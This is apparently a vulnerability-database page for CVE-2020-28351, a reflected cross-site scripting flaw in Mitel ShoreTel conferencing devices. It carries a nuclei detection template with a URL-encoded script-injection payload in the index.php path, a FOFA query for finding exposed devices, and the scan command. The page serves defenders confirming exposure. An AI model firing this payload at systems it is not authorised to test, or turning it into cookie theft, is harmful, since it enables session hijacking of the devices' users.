HexBrain

Browse / CVEs / CVE-2020-28351

CVE-2020-28351· mitel / shoretel· CWE-79

Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

mediumseverity
6.1CVSS score
16%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}} ; GET {{BaseURL}}/server-common/cgi-bin/login
Positive when: contains "Mitel Networks Corporation" or "ShoreTel"
Send: GET {{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-28351 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-28351

info:
  name: Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://www.mitel.com/articles/what-happened-shoretel-products
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28351
    - http://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://github.com/dievus/cve-2020-28351
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-28351
    cwe-id: CWE-79
    epss-score: 0.15987
    epss-percentile: 0.96929
    cpe: cpe:2.3:h:mitel:shoretel:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mitel
    product: shoretel
    fofa-query: body="ShoreTel" && icon_hash="268280373"
  tags: cve,cve2020,shoretel,xss,mitel,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/server-common/cgi-bin/login"

    stop-at-first-match: true
    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "Mitel Networks Corporation"
          - "ShoreTel"
        case-insensitive: true
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from